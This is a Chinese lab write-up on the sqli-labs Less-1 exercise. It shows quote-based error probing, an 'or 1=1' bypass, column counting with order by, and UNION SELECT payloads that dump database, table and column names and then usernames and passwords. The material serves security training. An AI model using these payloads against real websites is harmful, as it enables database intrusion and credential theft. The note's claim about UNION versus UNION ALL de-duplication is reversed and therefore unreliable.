sqli-labs less1 学习笔记

  • 初学的时候我们可以在源代码中$sql下一句语句写以下php语句
    echo "你的 sql 语句是:".$sql."<br>"; 

  • 先在URL栏中输入?id=1
  • 尝试在1后面加' 发现报错
  • 从上述错误当中,我们可以看到提交到sql中的1'在经过sql语句构造后形成 '1'' LIMIT 0,1,多加了一个 ' 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的 ' 去掉呢?
  • 尝试 'or 1=1--+

    此时构造的sql语句就成了

    Select ****** where id='1'or 1=1--+' LIMIT 0,1  发现正常返回数据

  • 那么下面尝试union注入 我们先看一下字段数有多少 。因为union的作用是将两个sql语句进行联合。union前后的两个sql语句的选择列数要相同才可以。Union all与union 的区别是增加了去重的功能。 输入 'order by --+ 发现可以返回  'order by 4--+出现下面的错误,于是我们知道字段数有三个。

  • 当id的数据在数据库中不存在时,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。 输入

    -1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1 爆数据库



  • 输入 -1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ 

    爆security数据库的数据表


  • 输入 -1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ 爆users列表

  • -1'union select 1,username,password from users where id=2--+ LIMIT 0,1 爆数据

     



  • 成功完成注入
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值